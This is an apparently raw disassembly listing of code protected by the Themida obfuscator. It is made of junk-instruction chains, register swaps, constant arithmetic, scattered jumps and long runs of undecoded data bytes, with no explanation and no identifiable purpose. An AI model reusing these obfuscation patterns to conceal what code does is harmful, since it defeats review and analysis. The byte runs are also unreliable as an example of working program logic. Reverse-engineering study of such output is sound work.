0E95FFA01h, 769h, 68665A66h, 0EE94FA9h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553BE3: ; CODE XREF: Themida_:00559D76j mov edx, [esp] jmp loc_553F85 ; --------------------------------------------------------------------------- aS_5 db '(Ñé ',7,0 align 2 aFsFSysFh db 'fS³{(Ýf[(èYS·Ûfh',0 align 4 dd 8A243C28h, 0C483243Ch, 80C7FE02h, 0D7F612F7h, 9DB55166h dd 79E9EF00h, 68000004h, 56D8h, 50243C89h, 4B8h, 58C78900h dd 0A24DE9h db 0 ; --------------------------------------------------------------------------- loc_553C35: ; CODE XREF: Themida_:005639FCj mov esi, 1358574Fh sub ebx, 440F4AA2h jmp loc_561B54 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 3487D6F7h, 0FD875F24h, 61CDC581h, 0ADE91DA9h, 51000114h dd 0C7E9E189h, 510000A5h, 702137B9h, 8BC80177h, 8953240Ch dd 0B4BA52E3h, 0E929324Ah, 871Fh, 0E95BD931h, 7D6Dh, 0E9D2F742h dd 0A414h ; --------------------------------------------------------------------------- loc_553C8C: ; CODE XREF: Themida_:00562A53j add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56037C ; --------------------------------------------------------------------------- aUhK db 'Uh~k',0 align 4 aI4So db '‰4$éO}',0 align 4 loc_553CB4: ; CODE XREF: Themida_:00566703j pop esi mov ebp, [esp] add esp, 4 jmp loc_5616AB ; --------------------------------------------------------------------------- db 8Bh dd 0BCE9240Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_553CCB: ; CODE XREF: Themida_:0055E654j sub ebx, eax pop eax add ebx, ecx add ebx, 0AB0798Ah mov ecx, [esp] add esp, 4 add ebx, 3526555Eh add ebx, eax jmp loc_55A98F ; --------------------------------------------------------------------------- dd 89240489h, 94BF57E0h, 4F761F70h, 7E45E9h, 0E9E88900h dd 819Bh ; --------------------------------------------------------------------------- loc_553D04: ; CODE XREF: Themida_:00557D25j xor al, dh mov dx, [esp] push esi mov esi, esp jmp loc_564BAF ; --------------------------------------------------------------------------- dw 9304h dd 33BE68h, 24148900h, 1517E9h, 0C3815B00h, 7499360Dh dd 0E89BA52h, 0E94A7234h, 1803h, 616ECB81h, 0F38142C6h dd 76D77B6Ah, 3913E950h, 0F6800000h, 0B450662Ch, 768E986h dd 0C2810000h, 4, 8704C283h, 815C2414h, 4C2h, 2C58E900h dd 0E9510001h, 0BCDDh, 0F64FB753h, 9DF780D7h, 805BFA30h dd 0C2FE01C2h, 81E28952h, 4C2h, 4EA8100h, 0E9000000h, 45E1h dd 534FBFBDh, 0C0E58149h, 814BB832h, 0B48F1F5h, 808E94Eh dd 348B0001h, 4C48324h, 81E18951h, 4C1h, 9991E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553DBE: ; CODE XREF: Themida_:00557EABj xor ebx, esi not esi xor ebx, esi xor esi, ebx xor ebx, esi xor ecx, ebx jmp loc_557BE5 ; --------------------------------------------------------------------------- loc_553DCF: ; CODE XREF: Themida_:0055ACC4j mov [esp], edx jmp loc_554469 ; --------------------------------------------------------------------------- loc_553DD7: ; CODE XREF: Themida_:0055D7C3j ; Themida_:0055E55Cj ... mov ebx, [esp] push 5D47h mov [esp], edi push esp pop edi push edx jmp loc_55E861 ; --------------------------------------------------------------------------- dw 0C501h dd 2D60ED81h, 92E91C8Eh, 1000000h, 241C8BDAh, 8104C483h dd 4C2h, 24148700h, 24048F5Ch, 0E924248Bh, 7C51h ; --------------------------------------------------------------------------- loc_553E14: ; CODE XREF: Themida_:005588DDj pop ecx jmp loc_565A2E ; --------------------------------------------------------------------------- dw 8956h dd 5EF389D6h, 41BA525Ah, 31644002h, 0EB815AD3h, 5118D1B4h dd 41AE9h db 0 ; --------------------------------------------------------------------------- loc_553E35: ; CODE XREF: Themida_:00558BFBj mov edi, 57D20C84h inc edi not edi inc edi sub edi, 52FF0403h jmp loc_5608DC ; --------------------------------------------------------------------------- loc_553E49: ; CODE XREF: Themida_:0056054Aj pop esi sub esp, 4 mov [esp], ecx jmp loc_561A4A ; --------------------------------------------------------------------------- dd 0E9240C33h, 4F0h ; --------------------------------------------------------------------------- loc_553E60: ; CODE XREF: Themida_:00555A7Aj and ebp, 3DD67ACFh shr ebp, 6 sub ebp, 409124EDh xor ebp, 0BD9D0E08h push ebx mov ebx, ebp mov edi, ebx pop ebx pop ebp jmp loc_564A78 ; --------------------------------------------------------------------------- loc_553E81: ; CODE XREF: Themida_:00562698j mov eax, [esp] jmp loc_55A12C ; --------------------------------------------------------------------------- db 81h, 0C5h, 25h dd 51549014h, 7108DAB9h, 0CEED8150h, 2940C329h, 0CEC581CDh dd 0E940C329h, 7919h, 0E95EF501h, 0FEC6h, 3FA868h, 242C8900h dd 73B668h, 243C8900h, 13A02E9h, 48920500h, 0D8296CB1h dd 12148E9h db 0 ; --------------------------------------------------------------------------- loc_553ED1: ; CODE XREF: Themida_:00567F1Aj mov ebx, 275051DEh sub eax, ebx pop ebx add eax, 4A4E4AF8h sub eax, ebp sub eax, 4A4E4AF8h add eax, 275051DEh pop ebp add ecx, 3DE41AC2h add ecx, eax jmp loc_55A2C9 ; --------------------------------------------------------------------------- loc_553EF8: ; CODE XREF: Themida_:005550C1j sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esi push 51F5385Dh pop esi mov ebx, 0A355411Ch sub ebx, 2AB75FECh sub ebx, esi add ebx, 2AB75FECh pop esi push edi push edx jmp loc_563616 ; --------------------------------------------------------------------------- dd 14685153h, 89000065h, 0A9B7241Ch, 0FD309BB5h, 5E5C05Bh dd 803EE580h, 2BE957CDh, 0BD000107h, 68F000FAh, 2C8BEA09h dd 2198E924h, 0C3800001h, 6271E937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553F5E: ; CODE XREF: Themida_:0055CE38j mov ebx, [esp] add esp, 4 loc_553F67: ; CODE XREF: Themida_:0056326Cj push ebx push edx mov edx, 1DF45BF0h xor [esp+4], edx jmp loc_568D17 ; --------------------------------------------------------------------------- loc_553F77: ; CODE XREF: Themida_:005545CFj push dword ptr [esp+4] push dword ptr [esp] pop edi push ecx jmp loc_557918 ; --------------------------------------------------------------------------- loc_553F85: ; CODE XREF: Themida_:00553BE6j add esp, 4 jmp loc_566D98 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 83000000h, 348904ECh, 4BE24h, 0F1010000h, 0E924348Bh dd 0FD35h, 81E18951h, 4C1h, 4EC8100h, 89000000h, 23BA2414h dd 816F6035h, 0A05E3DEAh, 1BE28116h, 81751F3Eh, 4E5A13C2h dd 5992E960h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553FD6: ; CODE XREF: Themida_:00561115j dec edx push eax push ebx jmp loc_560D23 ; --------------------------------------------------------------------------- loc_553FDE: ; CODE XREF: Themida_:0055AF54j push ecx mov ecx, 16E01C38h sub edx, ecx pop ecx add edx, edi add edx, 16E01C38h push ebx push edi push 7E486273h mov edi, [esp] add esp, 4 add edi, 0D3A2E16Bh jmp loc_55D2C4 ; --------------------------------------------------------------------------- dw 0C483h dd 0D8E95004h, 580000E0h, 13E9C300h, 810000B1h, 637137E9h dd 8FE98110h, 17E670Ch, 0AC50E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55402E: ; CODE XREF: Themida_:0055AD6Aj push esp jmp loc_563715 ; --------------------------------------------------------------------------- dd 240C8B66h, 19766857h, 24890000h, 24048124h, 4, 3436E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55404E: ; CODE XREF: Themida_:00567D8Cj mov esp, [esp] push edi mov edi, 510138B2h push ebp sub esp, 4 mov [esp], ebx mov ebx, 535F57B8h mov ebp, 89B6BFA4h sub ebp, ebx pop ebx push ebx jmp loc_565434 ; --------------------------------------------------------------------------- a_s db '_éšÄ',0 db 0 ; --------------------------------------------------------------------------- loc_554077: ; CODE XREF: Themida_:00562571j add ecx, ebx jmp loc_555FA8 ; --------------------------------------------------------------------------- dw 1C33h aS0 db '$é0Ê',0 align 2 loc_554086: ; CODE XREF: Themida_:0056884Dj sub [esp+4], esi add dword ptr [esp+4], 17144022h pop esi jmp loc_56007A ; --------------------------------------------------------------------------- dd 0F8005966h, 17D7E95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_5540A2: ; CODE XREF: Themida_:005650B2j pop dword ptr [eax] jmp loc_55FABD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0DB46h ; --------------------------------------------------------------------------- loc_5540B4: ; CODE XREF: Themida_:00555A29j add dword ptr [esp], 50F753A7h pop eax sub eax, 50F753A7h pop esi push esi push ebp mov ebp, 238C77B0h mov esi, ebp pop ebp add esi, 478744E0h shl esi, 8 xor esi, 4C7F8B58h or eax, esi pop esi inc eax jmp loc_561844 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0F7A0h, 4C281h, 4EE90000h, 830000CAh, 0E95304C4h dd 0EF82h, 87243C31h, 57D6F7F7h, 315E5F56h, 3C33243Ch dd 243C3124h, 8B2434FFh, 8956241Ch, 4C681E6h, 0E9000000h dd 1B76h ; --------------------------------------------------------------------------- loc_554128: ; CODE XREF: Themida_:00553A6Ej add bh, 43h sub ch, bh pop ebx add dh, ch pop cx push small 0 sub [esp], dh mov dh, [esp] add esp, 2 sub dh, 0FFh sub esp, 4 mov [esp], ecx push eax mov al, 77h push edx mov dh, al jmp loc_555BF6 ; --------------------------------------------------------------------------- dw 0C783h dd 243C3304h, 33243C31h, 8F5C243Ch, 248B2404h, 0CD36624h dd 32E99C24h, 52FFFFEFh, 4BEA68h, 240C8900h, 6E68B966h dd 6EF18166h, 9647E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55418A: ; CODE XREF: Themida_:00567C0Cj push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ax, [esp] push 7377h mov [esp], ebx push esp mov ebx, [esp] push ebx jmp loc_566509 ; --------------------------------------------------------------------------- db 55h dd 0DD2D1EBDh, 0F5814D51h, 51DD2D19h, 697CBB53h, 0DE010ED7h dd 0D65DE9h, 0C8B6600h, 0E9545524h, 95C1h ; --------------------------------------------------------------------------- loc_5541E4: ; CODE XREF: Themida_:00555A6Fj pop ebx push edi mov edi, 4 add ebx, 700C0375h add ebx, edi jmp loc_561217 ; --------------------------------------------------------------------------- dd 8AFEE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5541FE: ; CODE XREF: Themida_:00559F8Fj movzx cx, al push cx pushf jmp loc_553AC1 ; --------------------------------------------------------------------------- dw 5368h dd 0E900002Fh, 8DD3h, 0E95FFD31h, 0B001h ; --------------------------------------------------------------------------- loc_55421C: ; CODE XREF: Themida_:0056652Cj xchg ebx, [esp] pop esp mov [esp], esi mov esi, 4F4B0144h neg esi shl esi, 2 neg esi push esi push 6262h mov [esp], ecx pop esi pop ecx not ecx jmp loc_55A8E9 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0FBh aZ7plSv db 'z7P‹,$邼',0 dw 5100h dd 0A802CFB9h, 59CB311Bh, 14AB4E9h, 4C38100h, 68000000h dd 25EFh, 0E9241C89h, 10234h, 240C8B66h, 1240EE9h, 66685500h dd 5D1A9B19h, 0C104EDC1h, 0E1E905EDh db 15h, 1, 0 ; --------------------------------------------------------------------------- loc_55428B: ; CODE XREF: Themida_:00553B81j push ecx not dword ptr [esp] pop ecx shl ecx, 1 not ecx push ebp push esi sub esp, 4 mov [esp], edi jmp loc_559B0B ; --------------------------------------------------------------------------- dd 0F8C380h, 0F8EB80D3h, 221E68h, 24048900h, 0D0F657B0h dd 1CE95366h, 0C10000B7h, 7FE903EEh, 29000042h, 24348BF7h dd 4C481h, 0F9010000h, 81243C8Bh, 4C4h, 68515200h, 40D7h dd 0BB241C89h, 2, 555BD989h, 0F32BE9h, 0EC815F00h, 4, 0BE243489h dd 44C262E8h, 75E2E9h, 88C68800h, 0F4CFE9F3h, 685A0000h dd 5189h, 0B4240489h, 0C1C4803Eh, 7507E9h, 0AEE95C00h dd 8F000126h, 248B2404h, 0E1E924h, 34FF0001h, 243C8B24h dd 1201FE9h, 81FA0100h, 5B4861EAh, 0E9515F10h, 36F8h, 6624248Bh dd 2404B30Fh, 0ED47E99Ch, 0EA81FFFFh, 453871D1h, 31F0BD55h dd 0FBE970F6h, 83000075h, 48704C0h, 2AE95C24h, 89FFFFEDh dd 22ECE9E3h, 0D3F70000h, 7E3C14Bh, 5606EBC1h, 0C36DB4BEh dd 3E6C150h, 0EE81D6F7h, 782F6CE6h, 45E9F301h, 810000BDh dd 0F774A5F3h, 3EBC138h, 102A2E9h, 24543100h, 24148B04h dd 0E904C483h, 9A80h, 660A68h, 0F7CE900h, 3C890001h, 4BB5324h dd 89000000h, 241C8BDFh, 0E904C483h, 0E71Fh, 66A568h, 24148900h dd 9A75E9h db 0 ; --------------------------------------------------------------------------- loc_5543ED: ; CODE XREF: Themida_:00558C1Ej pop esp push edi jmp loc_567E01 ; --------------------------------------------------------------------------- loc_5543F4: ; CODE XREF: Themida_:005581C9j mov [esp], eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55B192 ; --------------------------------------------------------------------------- loc_554416: ; CODE XREF: Themida_:00564810j add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 sub ecx, 4EA77778h add ecx, edi jmp loc_562AA7 ; --------------------------------------------------------------------------- loc_554430: ; CODE XREF: Themida_:00560A7Aj pop ecx jmp loc_557044 ; --------------------------------------------------------------------------- loc_554436: ; CODE XREF: Themida_:0055747Fj pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], edi mov edi, 7E1106D8h jmp loc_55FA42 ; --------------------------------------------------------------------------- dw 575Ah dd 114FCE9h, 0C586800h, 34890000h, 1BA5BE24h, 0C6817B4Fh dd 9FE1075h, 0E1ECE9h db 0 ; --------------------------------------------------------------------------- loc_554469: ; CODE XREF: Themida_:00553DD2j mov edx, 4 jmp loc_55B545 ; --------------------------------------------------------------------------- db 29h dd 3C875DEFh, 4895C24h, 1C4F6824h, 8BE90000h, 830000B7h dd 0E946FFEEh, 0B9B5h ; --------------------------------------------------------------------------- loc_554490: ; CODE XREF: Themida_:00562500j mov esi, ebp pop ebp push edx mov edx, 4C7D4BC4h jmp loc_556105 ; --------------------------------------------------------------------------- loc_55449E: ; CODE XREF: Themida_:0055BB21j push edi jmp loc_567B1D ; --------------------------------------------------------------------------- dd 8324048Bh, 10404C4h, 0D1E9E504h, 0B6000111h, 247BE95Dh dd 0E3280000h, 0F3285866h, 8087B551h, 0F651A1F5h, 5901245Ch dd 5CF580h, 148B59EBh, 4C48124h, 50000000h, 0EC8016B4h dd 2E4C08Ch, 800DC480h, 0EEE9D0CCh, 8B000045h, 0E957241Ch dd 12B4Eh ; --------------------------------------------------------------------------- loc_5544F8: ; CODE XREF: Themida_:0055EADEj mov edx, [esp] add esp, 4 jmp loc_55A476 ; --------------------------------------------------------------------------- dw 0C89h dd 4EC8324h, 0FFF2EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_554511: ; CODE XREF: Themida_:0056279Bj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4636h mov [esp], ebp mov ebp, 4 jmp loc_56105F ; --------------------------------------------------------------------------- loc_55452C: ; CODE XREF: Themida_:0055C1E9j jmp loc_5530A5 ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 405h, 24043300h, 0E289E9h, 9AF78000h, 0C05BFC30h, 1DE902E4h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55454F: ; CODE XREF: Themida_:005654EDj pop esi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub ecx, 0FFFFFFFFh shl ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 450AAB20h add ecx, ebp pop ebp and eax, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_55FA6D ; --------------------------------------------------------------------------- loc_554588: ; CODE XREF: Themida_:0055B7BCj push esi pop ecx push dword ptr [esp] mov esi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_56480A ; --------------------------------------------------------------------------- loc_55459D: ; CODE XREF: Themida_:0055935Fj mov [esp], edx pop ebp push ebp jmp loc_553511 ; --------------------------------------------------------------------------- loc_5545A7: ; CODE XREF: Themida_:0055E319j mov edx, 38A71C18h sub ecx, edx pop edx sub esi, ecx jmp loc_55A259 ; --------------------------------------------------------------------------- dw 45Ch dd 1237E911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5545BE: ; CODE XREF: Themida_:00565258j pop ebx add edi, edx sub edi, 576B7231h pop edx add edi, 4 push edi jmp loc_553F77 ; --------------------------------------------------------------------------- loc_5545D4: ; CODE XREF: Themida_:0055D74Aj pop ebx jmp loc_566FA8 ; --------------------------------------------------------------------------- dw 0E940h dd 11D68h, 16D868h, 59C5E900h, 48F0000h, 24248B24h, 24043166h dd 0EAABE99Ch, 0EE83FFFFh, 0EE31E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554602: ; CODE XREF: Themida_:005587E8j mov [esp], ecx push edi mov edi, 63C9402Ah mov ecx, edi mov edi, [esp] add esp, 4 neg ecx push ebx mov ebx, esp push eax mov eax, 76C9506Dh not eax neg eax dec eax or eax, 24F16855h and eax, 3AF943D5h xor eax, 32F94051h add ebx, eax pop eax jmp loc_554959 ; --------------------------------------------------------------------------- dw 0D5F7h dd 53256857h, 45E93AB1h, 68000017h, 464Bh, 0BB241C89h dd 499948CAh, 11BFAE9h, 2EEC100h, 8904EC83h, 66B82404h dd 56C8C5Fh, 9B4475A5h, 0E958C631h, 0B99h ; --------------------------------------------------------------------------- loc_554674: ; CODE XREF: Themida_:00566BB6j and edx, 774F4FBEh push eax mov eax, 12C914EEh xor edx, eax jmp loc_55E2B8 ; --------------------------------------------------------------------------- db 83h dd 535004C4h, 0EF80AEB7h, 6E7C001h, 80AEC780h, 88523DC7h dd 5AD488FAh, 0E953525Bh, 0A225h, 0C381E389h, 4, 0E904EB83h dd 0FFFFF9C6h, 0E419DCBEh, 0F9A8E97Fh, 0E8C10000h, 2E0C107h dd 8320A135h, 0E9C3314Bh, 0F80h, 0A127E951h, 0B9510000h dd 4506BCFh, 28D1BF57h, 7C015B00h, 61E90C24h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5546EF: ; CODE XREF: Themida_:0055E160j push ebx mov ebx, 4 add ebp, 68D75F78h add ebp, ebx push eax jmp loc_567104 ; --------------------------------------------------------------------------- loc_554703: ; CODE XREF: Themida_:00554F67j mov esi, eax push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], eax mov eax, 3EA31C3Ah xor esi, eax jmp loc_55C943 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324348Bh, 0C48104C4h, 4, 8904EC83h, 3FE92404h, 5F000052h dd 0BD55D6F7h, 12746E9Fh, 2C8BEE21h, 4C48124h, 81000000h dd 0D51BCDC6h, 5EF78979h, 0CCE6E9h, 4B900h, 0CA010000h dd 4C28359h, 5C241487h, 126C8E9h, 0E9D50100h, 0D58Eh, 0CFEA8166h dd 0F281661Dh, 8166FA39h, 665148EBh, 8166D329h, 5A5148C3h dd 66D3F766h, 5202E3C1h, 1A95E9h, 30596600h, 3E95AD0h db 32h, 1, 0 ; --------------------------------------------------------------------------- loc_5547A7: ; CODE XREF: Themida_:00567973j shr edi, 1 push ebp mov ebp, 0F1C03D2Ch sub edi, ebp pop ebp sub esp, 4 mov [esp], edx mov edx, edi push edx mov ebx, [esp] add esp, 4 jmp loc_560145 ; --------------------------------------------------------------------------- loc_5547CC: ; CODE XREF: Themida_:00559472j mov [esp], edi sub esp, 4 jmp loc_5573EA ; --------------------------------------------------------------------------- loc_5547DA: ; CODE XREF: Themida_:00558D10j mov ebp, 548766Dh sub esp, 4 mov [esp], ebp pop ecx jmp loc_567EED ; --------------------------------------------------------------------------- dw 1C87h aS39 db '$\é39',0 dw 6400h dd 0A6E932FFh, 8BFFFFE8h, 0C4812404h, 4, 5DEB0166h, 66C0B70Fh dd 66485168h, 0E9240489h, 0FFFFE889h, 6B566FB8h, 5BBBBE40h dd 0C631329Dh, 0E3A0E9h db 0 ; --------------------------------------------------------------------------- loc_55482D: ; CODE XREF: Themida_:005571A3j push eax mov eax, ecx mov edi, eax pop eax pop ecx sub esp, 4 mov [esp], ebx mov ebx, 0CA4467Eh and edi, ebx pop ebx xor edi, 4A4A1405h inc edi add edi, 0C3F28FAh or esi, edi mov edi, [esp] add esp, 4 xor esi, 53E93F43h jmp loc_5577AF ; --------------------------------------------------------------------------- loc_554868: ; CODE XREF: Themida_:00566966j xchg eax, [esp] pop esp sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 jmp loc_5652C8 ; --------------------------------------------------------------------------- loc_554882: ; CODE XREF: Themida_:00561CBDj xor [esp], edx jmp loc_5653D3 ; --------------------------------------------------------------------------- dw 0C159h dd 0C08306E0h, 639F0D01h, 65053089h, 81803218h, 906C2DEEh dd 4EC8123h, 89000000h, 0BF57242Ch, 0E7C5906h, 0E9505752h dd 0CA72h ; --------------------------------------------------------------------------- loc_5548B8: ; CODE XREF: Themida_:00561F2Ej push ebx mov ebx, 5E283B92h push edx mov edx, 112367F3h xor ebx, edx pop edx jmp loc_563375 ; --------------------------------------------------------------------------- dd 0FFE7D4E9h, 28F64FFh, 0FFE7CCE9h, 4EC81FFh, 89000000h dd 6868240Ch, 0E908C211h, 10398h ; --------------------------------------------------------------------------- loc_5548EC: ; CODE XREF: Themida_:00558370j sub esi, edx pop edx add ebx, esi jmp loc_565C34 ; --------------------------------------------------------------------------- aZs_0 db 'ZéÙÁ',0 align 4 dd 59DDBB53h, 0FAE9079Ah, 81000090h, 35C4242Ch, 90E92BC0h dd 5C00010Dh, 8950E9h, 17D62D00h, 0E8017993h, 9317D605h dd 0FABB5379h, 0C1327D20h, 0EB8104E3h, 1845622Bh, 6834C381h dd 0E3813CFEh, 731C0849h, 0D207E9h, 0CDBA5200h, 81437708h dd 94A084EAh, 5AD609D5h, 6C50E9h db 0 ; --------------------------------------------------------------------------- loc_554959: ; CODE XREF: Themida_:00554635j push edx mov edx, 4 sub ebx, edx pop edx jmp loc_55B64A ; --------------------------------------------------------------------------- db 81h dd 7108DAC5h, 25ED8150h, 81549014h, 8E2D60C5h, 0F46CE91Ch dd 6850FFFFh, 0CE2h, 68241489h, 3B330ECAh, 32A9E95Ah, 535F0001h dd 0C381E389h, 4, 5350BD55h, 0ED816DDEh, 6DDE534Ch, 2C8BEB01h dd 4C48124h, 0E9000000h, 11DE6h, 6804C483h, 2C8Eh, 57241C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 34FF2404h, 2434FF24h dd 53241C8Bh, 0C381E389h, 4, 0C09AE9h db 0 ; --------------------------------------------------------------------------- loc_5549ED: ; CODE XREF: Themida_:0055D1D7j xchg edx, [esp] pop esp push esi jmp loc_557B5A ; --------------------------------------------------------------------------- db 28h dd 48B66E1h, 2C48124h, 0F6000000h, 0B05066D9h, 66C12801h dd 8324048Bh, 0E98002C4h, 0FFC82007h, 0E9592434h, 0FFFFFF98h dd 0D70780BDh, 0BAF58140h, 0E92BB274h, 478Fh, 582434FFh dd 4C481h, 66E90000h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554A3F: ; CODE XREF: Themida_:005647A6j mov edi, 3FE112ABh add ebp, 599A6F55h jmp loc_55E41C ; --------------------------------------------------------------------------- loc_554A4F: ; CODE XREF: Themida_:0055C0D8j push esi jmp loc_567A66 ; --------------------------------------------------------------------------- loc_554A55: ; CODE XREF: Themida_:00560CB4j mov ebx, [esp] jmp loc_566083 ; --------------------------------------------------------------------------- db 0B4h, 0D8h, 0E9h dd 3AEh, 0F5E9565Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554A6B: ; CODE XREF: Themida_:00557798j push 1484h mov [esp], ebp push 1627h push esp jmp loc_5617EC ; --------------------------------------------------------------------------- dw 8468h dd 89000036h, 0E953243Ch, 8302h, 8124148Bh, 4C4h, 0A8C68100h dd 0E97F2618h, 4D96h, 6804C483h, 332Bh, 0E9243489h, 0A993h dd 4461E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554AB6: ; CODE XREF: Themida_:00554F50j add bl, 3Eh jmp loc_559992 ; --------------------------------------------------------------------------- loc_554ABE: ; CODE XREF: Themida_:00558F48j sub esp, 4 mov [esp], eax mov eax, 9772356h add edx, 4874201Ah add edx, eax jmp loc_55B6C5 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 8B240C33h, 4892424h, 4B95124h, 51000000h, 5A8AE9h, 9B4F0500h dd 0C52996B8h, 5DE90158h, 75E95250h, 25000111h, 26241E0Ch dd 75E1E9h, 0E9545600h, 3693h ; --------------------------------------------------------------------------- loc_554B14: ; CODE XREF: Themida_:0055B5C0j pop ecx add ecx, 7FC94FE8h xor ecx, 4B8B779Bh push edx mov edx, 6DFB6B66h neg edx xor edx, 64686787h not edx add edx, 1FB2107Bh xor ecx, edx pop edx shr ecx, 8 push 158Dh mov [esp], edi mov edi, 1C5C43h push esi mov esi, 4B7900C3h jmp loc_5663A5 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560130 ; --------------------------------------------------------------------------- loc_554B5D: ; CODE XREF: Themida_:0056565Fj pop esi push dword ptr [esp] jmp loc_556972 ; --------------------------------------------------------------------------- loc_554B66: ; CODE XREF: Themida_:0055C2E4j shr edx, 8 jmp loc_555D35 ; --------------------------------------------------------------------------- dw 0E9C1h dword_554B70 dd 391DE906h, 585A0000h, 524CE9h, 14875D00h, 9BE95C24h dd 81000005h, 4C4h, 5A21E900h, 0EC810000h, 4, 89241489h dd 4C281E2h, 81000000h, 4C2h, 92AAE900h, 14330000h, 95685C24h dd 89000070h, 0F768240Ch, 89000030h, 0E9542404h, 90A6h dd 0E9242C33h, 0FFFFE871h, 8704EB83h, 895C241Ch, 55E9243Ch dd 520000CEh, 0E90AD5BAh, 7EF28108h, 4240120Dh, 7C9AF281h dd 0D72932DFh, 242C8B5Ah, 5E04C483h, 970E9h, 5166AC00h dd 0C8287AB1h, 704BE9h, 4EC8300h, 8EADE9h db 0 ; --------------------------------------------------------------------------- loc_554C15: ; CODE XREF: Themida_:00565F24j pop esi pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_55A692 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0BB530000h, 4, 1C8BD801h, 4C48324h, 2474FF50h dd 99E95804h, 8100002Eh, 85504CF5h, 0BDE981E1h, 8160F917h dd 96470AE9h, 81E90145h, 96470AC1h, 0BDC18145h, 8B60F917h dd 99E9242Ch, 810000A8h, 4C2h, 4EA8100h, 0E9000000h, 5951h dd 0BB53E789h, 4, 0FD92E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C8E: ; CODE XREF: Themida_:0055C54Bj push edx sub esp, 4 jmp loc_55AF14 ; --------------------------------------------------------------------------- aACYaSCausxsat db '€Á—(ÌY€Æé(æ€îéXé ’',0 dw 3500h dd 514D2992h, 5D2434FFh, 76A368h, 0B9BAE900h, 895C0000h dd 61BF243Ch, 0C153010Dh, 0E7C108EFh, 0B8CF8107h, 0E94C515Ch dd 9637h, 5C243C87h, 0B8240489h, 4, 0FFFC7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_554CE9: ; CODE XREF: Themida_:005674B2j mov [esp], edx push 43AB1D1Fh pop edx not edx inc edx or edx, 43AC4D45h xor edx, 3101Ah add ecx, edx mov edx, [esp] push eax push esp pop eax jmp loc_55376A ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFEF31h, 54C3B951h, 0F1814FC0h, 36A8484Fh, 24ADF181h dd 59E939BDh, 68000026h, 6185h, 68242C89h, 6372h, 89243C89h dd 4C781E7h, 68000000h, 3DE9h, 0BD242C89h, 455418BCh, 8108EDC1h dd 550A7EC5h, 3EDC17Ch, 33C5814Dh, 0E9F06CB4h, 0FFFFF70Bh ; --------------------------------------------------------------------------- loc_554D68: ; CODE XREF: Themida_:00563FD1j xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] jmp loc_5686D9 ; --------------------------------------------------------------------------- aVw_si db 'VW^_éˆ',0Dh,0 align 4 dd 2904C483h, 0FAC4E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D8E: ; CODE XREF: Themida_:0055987Aj mov eax, [esp] add esp, 4 push ebx mov ebx, 1E671170h add ebx, 0FFFFFFFFh shl ebx, 1 push 4B5h mov [esp], ebx xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebx dec ebx add ebx, 3CCE22E4h add ebp, ebx pop ebx xchg ebp, [esp] jmp loc_55A604 ; --------------------------------------------------------------------------- loc_554DC5: ; CODE XREF: Themida_:0055D478j shr edi, 2 shl edi, 1 shr edi, 7 jmp loc_563415 ; --------------------------------------------------------------------------- loc_554DD2: ; CODE XREF: Themida_:005617ABj push edx mov edx, 2F257770h xchg esi, edx xchg ebx, esi not ebx xor esi, ebx xor ebx, esi jmp loc_55EAD2 ; --------------------------------------------------------------------------- loc_554DE7: ; CODE XREF: Themida_:0055DD96j push edi mov edi, 579F1FD2h sub [esp+0Ch], edi pop edi sub dword ptr [esp+8], 5BA4713h add [esp+8], edx add dword ptr [esp+8], 5BA4713h jmp loc_55DA3B ; --------------------------------------------------------------------------- align 4 dd 1609E9EBh, 88520000h, 5AD388E2h, 8124048Bh, 4C4h, 